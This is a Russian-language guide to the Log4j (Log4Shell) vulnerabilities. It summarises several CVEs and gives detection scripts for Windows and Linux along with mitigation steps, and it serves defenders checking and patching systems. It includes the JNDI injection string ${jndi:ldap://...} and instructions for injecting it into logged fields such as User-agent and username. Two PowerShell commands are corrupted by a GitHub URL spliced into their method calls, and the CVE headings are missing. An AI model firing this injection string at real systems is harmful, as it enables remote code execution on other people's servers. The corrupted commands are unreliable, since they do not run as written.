Большой и страшный волк среди уязвимостей Log4j. Уязвимость используется, когда вариант строки ${jndi:ldap://\<код атаки>/a} регистрируется Log4j. CVSS 10.0, RCE.

Не такая большая, как CVE-2021-44228, но столь же неприятная. Требует нестандартной настройки Log4j. CVSS 9.0, RCE и DoS.

Не такая большая, как CVE-2021-44228, также немного менее неприятная. CVSS 7.5, DoS

Относится только к Log4j версии 1.x. Требует, чтобы Log4j использовал JMSAppender. CVSS 6.6, RCE. Для использования требуется, чтобы Log4j использовал JMSAppender. Либо JMSAppender настроен напрямую — что необычно, — либо злоумышленник сам добавляет его в конфигурацию Log4j. Кроме того, злоумышленник должен иметь доступ к изменению конфигурации JMSAppender. Если это так, то злоумышленник обычно уже имеет доступ к системе. Поэтому уязвимость считается малозначимой.

Относится только к Log4j версии 1.x. Требует, чтобы Log4j использовал SocketServer. CVSS 9.8, RCE Предоставляет злоумышленнику с сетевым доступом к соответствующему сокету возможность выполнения кода. Код для использования общедоступен.

2. Соберите эту текстовую строку ${jndi:ldap://<канареечный_токен>/a}
3. Введите эту строку во все поля, которые потенциально могут быть залогированы

- User-agent
- Поле поиска
- Имя пользователя
- ...

4. Отслеживайте попадания канарейки и выясняйте, где работает log4j.

Источник: Твит от Florian Roth

Windows

Эта команда обрабатывает все диски, включая сетевые диски:

Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

Источник: https://twitter.com/0gtweet/status/1469661769547362305

Если нужно проверить только локальные диски:

Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

Источник: https://twitter.com/webmastir/status/1470386184052486155?s=20

Если дополнительно нужно проверить журнал событий на машине:

Get-WinEvent -ListLog * |
  foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
  where message -match 'jndi'

Linux #1

#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
        echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0

Java 8

Обновите Log4j до версии 2.17.0

Java 7

Обновите Log4j до версии 2.12.2 ВНИМАНИЕ не устраняет CVE-2021-45105

⚠️ этот метод больше не считается полноценным решением, так как он не устраняет все уязвимости во всех ситуациях.

Windows

[Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/HEAD/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)

ПРИМЕЧАНИЕ: Требуется перезагрузка

Из https://twitter.com/CyberRaiju/status/1469505680138661890

Установка флага JVM

"‐Dlog4j2.formatMsgNoLookups=True"

Пример командной строки:

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet

Или со значением -Xmx:

JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku

Пример конфигурации systemd:

Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'

Или со значением -Xmx:

Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'

Jar-файл — это архив (zip-файл), и его можно открыть. Затем файлы можно удалить. Это можно сделать вручную с помощью таких инструментов, как 7-zip (см. изображение) или с помощью скрипта.

Требуется перезапуск приложения

Источник: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9

Windows

[Reflection.Assembly]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/HEAD/:LoadWithPartialName(%27System.IO.Compression%27)
$JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
$Filnavn   = 'JndiLookup.class' #Этот файл удаляется!

$Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
$ZipMode   = [IO.Compression.ZipArchiveMode]::Update
$Zip    = New-Object IO.Compression.ZipArchive($stream, $ZipMode)

($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
$zip.Dispose()
$stream.Close()
$stream.Dispose()

Linux

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class